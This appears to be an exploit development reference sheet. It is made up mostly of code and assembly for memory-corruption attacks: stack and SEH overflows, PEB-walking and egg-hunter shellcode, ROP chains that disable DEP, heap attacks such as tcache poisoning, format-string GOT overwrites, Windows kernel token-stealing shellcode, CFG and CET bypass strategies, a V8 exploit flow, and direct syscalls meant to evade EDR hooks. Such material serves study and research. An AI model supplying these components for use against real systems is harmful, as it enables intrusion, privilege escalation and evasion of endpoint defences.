💥 Exploit Dev Reference

void vulnerable(char *input) {
    char buffer[64];
    strcpy(buffer, input);  // No bounds checking!
    // Other unsafe: gets(), sprintf(), scanf("%s"), memcpy with user-controlled size
}

// Exploitation:
// [64 bytes padding][8 bytes saved RBP][8 bytes RET addr → shellcode/ROP]
// Total payload: 64 + 8 + 8 = 80 bytes minimum

# Generate cyclic pattern (pwntools)
from pwn import *
pattern = cyclic(200)    # De Bruijn sequence
# Send to target, get crash address
offset = cyclic_find(0x61616168)  # Find offset from crash value

# Or with msf-pattern:
# msf-pattern_create -l 200
# msf-pattern_offset -q 0x61616168

# Manual approach: binary search with A's
# 100 A's → crash?  → 50 A's → crash? → narrow down

// SEH chain on stack (x86 only, disabled by SafeSEH/SEHOP on modern)
// Stack layout with SEH:
//   [buffer] → [other locals] → [SEH record] → [saved EBP] → [RET]
//
// SEH record structure:
//   +0x00: Next SEH record pointer (nSEH)
//   +0x04: Exception handler function pointer
//
// Classic technique:
// 1. Overflow into SEH record
// 2. Overwrite handler with POP/POP/RET gadget
// 3. Overwrite nSEH with JMP to shellcode
// 4. Trigger exception (access violation from overflow itself)
// 5. POP/POP/RET lands on nSEH → JMP → shellcode

Payload: [junk to SEH][JMP +6 (nSEH)][POP/POP/RET (handler)][shellcode]

; Walk PEB → LDR → InMemoryOrderModuleList to find kernel32.dll
; Then parse export table to find function addresses

xor rcx, rcx
mov rax, gs:[rcx+0x60]     ; PEB (TEB+0x60 on x64)
mov rax, [rax+0x18]        ; PEB→Ldr
mov rsi, [rax+0x20]        ; Ldr→InMemoryOrderModuleList
lodsq                        ; Skip first entry (exe itself)
xchg rax, rsi
lodsq                        ; Second entry → ntdll.dll
mov rbx, [rax+0x20]        ; DllBase of ntdll
xchg rax, rsi
lodsq                        ; Third entry → kernel32.dll
mov rbx, [rax+0x20]        ; DllBase of kernel32

; Parse PE export table from rbx (kernel32 base)
mov edx, [rbx+0x3C]        ; e_lfanew
add rdx, rbx               ; PE header
mov edx, [rdx+0x88]        ; Export directory RVA (PE64: 0x88)
add rdx, rbx               ; Export directory VA
; edx+0x1C → AddressOfFunctions
; edx+0x20 → AddressOfNames
; edx+0x24 → AddressOfNameOrdinals

; Windows SEH-based egg hunter (~32 bytes)
; Searches process memory for "egg" marker (repeated twice)
; EGG = 0x50905090 ("w00tw00t" or custom)

xor edx, edx
next_page:
or  dx, 0xfff              ; Align to page boundary
next_addr:
inc edx
push edx
push 0x2                   ; NtAccessCheckAndAuditAlarm syscall
pop  eax
int  0x2e                   ; Syscall (checks if address is readable)
cmp  al, 0x05              ; Access violation?
pop  edx
je   next_page             ; Skip invalid page
mov  eax, 0x50905090       ; Egg marker
mov  edi, edx
scasd                       ; Compare [edi] with eax
jnz  next_addr
scasd                       ; Second copy confirms
jnz  next_addr
jmp  edi                   ; Jump to shellcode after eggs

# Goal: Make shellcode region executable via VirtualProtect
# BOOL VirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpOldProtect)
#   RCX = lpAddress (shellcode location)
#   RDX = dwSize (0x1000)
#   R8  = flNewProtect (0x40 = PAGE_EXECUTE_READWRITE)
#   R9  = lpOldProtect (writable address)

rop_chain = [
    pop_rcx_ret,           # Gadget: pop rcx; ret
    shellcode_addr,        # RCX = address of shellcode
    pop_rdx_ret,           # Gadget: pop rdx; ret
    0x1000,                # RDX = size (4096 bytes)
    pop_r8_ret,            # Gadget: pop r8; ret
    0x40,                  # R8 = PAGE_EXECUTE_READWRITE
    pop_r9_ret,            # Gadget: pop r9; ret
    writable_addr,         # R9 = writable location for old protect
    virtualprotect_addr,   # Call VirtualProtect
    shellcode_addr,        # Return into shellcode (now executable)
]

# mprotect(addr, len, prot) → syscall 10
# RDI = addr (page-aligned), RSI = len, RDX = prot (7 = RWX)
# RAX = 10 (mprotect syscall number)

rop_chain = [
    pop_rdi_ret,          # Gadget
    page_aligned_addr,    # RDI = target page
    pop_rsi_ret,          # Gadget
    0x1000,               # RSI = 4096 bytes
    pop_rdx_ret,          # Gadget
    7,                    # RDX = PROT_READ|PROT_WRITE|PROT_EXEC
    pop_rax_ret,          # Gadget
    10,                   # RAX = __NR_mprotect
    syscall_ret,          # Execute syscall; ret
    shellcode_addr,       # Jump to now-executable shellcode
]

// Problem: Limited overflow, can only control RET + few bytes
// Solution: Pivot RSP to attacker-controlled buffer (heap, .data, etc.)

// Technique 1: XCHG reg, RSP; RET
// If you control a register pointing to your ROP chain:
// xchg rax, rsp; ret  →  RSP = old RAX (your buffer)

// Technique 2: LEAVE; RET
// leave = mov rsp, rbp; pop rbp
// If you control RBP → point it to your fake stack
// First leave: RSP = controlled RBP
// ret: pops address from your fake stack

// Technique 3: ADD RSP, offset; RET
// Jump over stack canary or fixed data to reach controlled region

// Technique 4: MOV RSP, [reg+offset]; RET
// Load RSP from a controlled memory location

// Classic UAF pattern:
Object *obj = new Object();  // Allocate
delete obj;                     // Free (but pointer not nulled!)
// ... other allocations may reuse the memory ...
char *evil = malloc(sizeof(Object));  // Reuse freed memory!
memcpy(evil, payload, sizeof(Object)); // Control object contents
obj->virtualMethod();            // Dangling pointer → calls attacker vtable!

// Exploitation strategy:
// 1. Free target object
// 2. Allocate same-size buffer with controlled content
// 3. Trigger use of dangling pointer
// 4. Fake vtable → code execution

# Tcache is a per-thread singly-linked free list (LIFO)
# If you can write to freed chunk's fd pointer:

# Normal tcache state after two frees:
# tcache[idx] → chunk_B → chunk_A → NULL

# After overwriting chunk_B's fd (via UAF or overflow):
# tcache[idx] → chunk_B → TARGET_ADDR → ???

# malloc() → returns chunk_B
# malloc() → returns TARGET_ADDR  ← Arbitrary allocation!

# glibc 2.32+ added safe-linking:
# fd is mangled: fd = (addr >> 12) ^ next_ptr
# Need heap leak to demangle/remangle pointers
# Bypass: leak heap base, compute: mangled = (chunk_addr >> 12) ^ target

# Overwrite top chunk size to very large value
# Then malloc() with calculated negative offset
# Forces allocator to return arbitrary address

# 1. Overflow into top chunk header, set size = 0xFFFFFFFFFFFFFFFF
# 2. Calculate: distance = target_addr - top_chunk_addr - header_size
# 3. malloc(distance)  ← advances top chunk to near target
# 4. malloc(normal)    ← returns address at/near target

# Largely mitigated in modern glibc (top chunk size checks)

// Vulnerable:
printf(user_input);         // User controls format string!

// Safe:
printf("%s", user_input);   // User input is data, not format

// Also vulnerable: fprintf, sprintf, snprintf, syslog, etc.

# Goal: Overwrite puts@GOT with system() address
# puts@GOT = 0x0804c010
# system() = 0xf7e12345

# Strategy: Use %hn to write 2 bytes at a time
# Write 0x2345 to 0x0804c010 (low 2 bytes)
# Write 0xf7e1 to 0x0804c012 (high 2 bytes)

# Payload layout (on stack):
# [addr_low][addr_high][%Xc%N$hn%Yc%M$hn]
# addr_low  = p32(0x0804c010)
# addr_high = p32(0x0804c012)
# Calculate padding to get exact byte counts for %n

# pwntools makes this easy:
from pwn import *
elf = ELF('./target')
payload = fmtstr_payload(offset, {elf.got['puts']: system_addr})

; Classic token stealing: copy SYSTEM token to current process
; Offsets vary by Windows version!

; 1. Get current EPROCESS
mov rax, gs:[0x188]     ; KTHREAD (from KPCR)
mov rax, [rax+0x220]    ; EPROCESS (ApcState.Process)
mov rcx, rax             ; Save current EPROCESS

; 2. Walk ActiveProcessLinks to find SYSTEM (PID 4)
find_system:
mov rax, [rax+0x448]    ; ActiveProcessLinks.Flink
sub rax, 0x448           ; Back to EPROCESS start
cmp dword [rax+0x440], 4  ; UniqueProcessId == 4?
jne find_system

; 3. Copy SYSTEM token to current process
mov rdx, [rax+0x4B8]    ; SYSTEM Token
mov [rcx+0x4B8], rdx    ; Overwrite current process Token

; 4. Return cleanly (restore state, return to user mode)
; Critical: must not BSOD! Clean stack, restore registers

// How stack canaries work (/GS on MSVC, -fstack-protector on GCC):
//
// Function prologue:
//   mov rax, QWORD PTR fs:[0x28]  ; Load canary (Linux, from TLS)
//   mov QWORD PTR [rbp-8], rax    ; Place on stack before saved RBP
//
// Function epilogue:
//   mov rax, QWORD PTR [rbp-8]    ; Read canary from stack
//   xor rax, QWORD PTR fs:[0x28]  ; Compare with reference
//   jne __stack_chk_fail           ; If different → abort!
//
// Stack layout with canary:
//   [buffer][canary][saved RBP][return address]
//           ↑ Must survive to overwrite return address
//
// Windows /GS canary: 
//   __security_cookie XOR'd with RBP, checked with __security_check_cookie
//   Cookie in .data section, randomized at process start

// CFG validates indirect call targets against a bitmap
// Only addresses marked as valid call targets are allowed
//
// Bypass strategies:
//
// 1. Use valid CFG targets as gadgets
//    - Many valid targets exist (any function start)
//    - Find useful targets: VirtualProtect, SetProcessValidCallTargets
//
// 2. Corrupt CFG bitmap directly
//    - Mark your shellcode address as valid
//    - Requires arbitrary write to bitmap region
//
// 3. Return address overwrite (CFG doesn't protect returns!)
//    - CFG only checks indirect CALL/JMP targets
//    - Classic ROP still works against CFG alone
//    - Need CET/Shadow Stack to protect returns
//
// 4. Abuse non-CFG modules
//    - JIT regions, dynamically loaded code
//    - Modules compiled without CFG support

// CET has two components:
// 1. Shadow Stack (SS): Hardware-backed return address verification
//    - CALL pushes to both regular stack and shadow stack
//    - RET compares both stacks, #CP fault on mismatch
//
// 2. Indirect Branch Tracking (IBT):
//    - Indirect JMP/CALL must land on ENDBR64 instruction
//    - Limits gadget availability
//
// Current research directions:
// - Forward-edge attacks (CET SS doesn't protect forward edges)
// - COOP-style attacks using only valid ENDBR targets
// - Data-only attacks (no control flow hijack needed)
// - JIT code may not have ENDBR markers
// - Exception handler manipulation
// - Signal handler abuse (sigreturn-oriented programming)

// Typical V8 exploit flow:
//
// 1. Trigger JIT bug to get OOB read/write on a TypedArray or Array
//    - Corrupt array length or backing store pointer
//
// 2. Build addrOf/fakeObj primitives:
//    addrOf(obj) → leak address of any JS object
//    fakeObj(addr) → create JS object reference to arbitrary address
//
// 3. Create arbitrary R/W:
//    - Fake an ArrayBuffer with controlled backing store pointer
//    - Read/write anywhere in process memory
//
// 4. Overwrite WASM RWX page (if available) with shellcode
//    - V8 allocates RWX memory for WASM
//    - Or: overwrite JIT code
//    - Or: corrupt function pointers
//
// 5. Execute shellcode → renderer compromise
//    - Still in sandbox! Need escape for full compromise

// V8 pointer compression (v8.0+): 
// Pointers are 32-bit offsets from a 4GB-aligned base
// Complicates fake object creation (limited address range)

// Direct syscalls bypass user-mode hooks (EDR, AV)
// Syscall numbers change between Windows versions!

// NtAllocateVirtualMemory - allocate executable memory
mov r10, rcx
mov eax, 0x18     ; Syscall number (varies by version!)
syscall
ret

// Key syscalls for exploitation:
// NtAllocateVirtualMemory  - Allocate memory (alloc RWX region)
// NtProtectVirtualMemory   - Change page protections (DEP bypass)
// NtWriteVirtualMemory     - Write to other process memory
// NtCreateThreadEx         - Create remote thread (injection)
// NtQueueApcThread         - APC injection
// NtMapViewOfSection       - Map shared memory

// Techniques to find syscall numbers dynamically:
// 1. Read ntdll.dll export table, parse Zw* stubs
// 2. Sort by address (syscall numbers are sequential)
// 3. Read from disk to avoid in-memory hooks (SysWhispers approach)

// Crash analysis
!analyze -v                // Automated crash analysis
!exploitable               // Classify exploitability
.ecxr                      // Switch to exception context

// Memory inspection
!address -summary          // Memory layout overview
!vprot <addr>              // Page protection flags
dps <addr> L10             // Display pointer-sized values with symbols
!heap -stat                // Heap statistics
!heap -flt s <size>        // Find heap allocations of specific size

// Security features
!checksec                  // Check mitigations (needs extension)
!dh <module>               // Display PE headers (check DYNAMICBASE, NX)

// Exploitation
!teb                       // Thread Environment Block
!peb                       // Process Environment Block
dt nt!_EPROCESS            // Kernel process structure
!token -n                  // Display current token

from pwn import *

# Context setup
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

# Connect to target
p = process('./vuln')          # Local
p = remote('host', 1337)       # Remote

# ELF analysis
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
elf.symbols['main']            # Function address
elf.got['puts']                # GOT entry
elf.plt['puts']                # PLT entry

# ROP chain building
rop = ROP(elf)
rop.call('puts', [elf.got['puts']])  # Leak libc address
rop.call('main')                      # Return to main
print(rop.dump())

# Shellcode
shellcode = asm(shellcraft.sh())     # Linux /bin/sh
shellcode = asm(shellcraft.cat('flag.txt'))

# Packing
p64(addr)                           # Pack 64-bit address
u64(leak.ljust(8, b'\x00'))        # Unpack leaked bytes

# Format string
payload = fmtstr_payload(offset, {target: value})

# Pattern finding
cyclic(200)                       # Generate pattern
cyclic_find(0x61616168)            # Find offset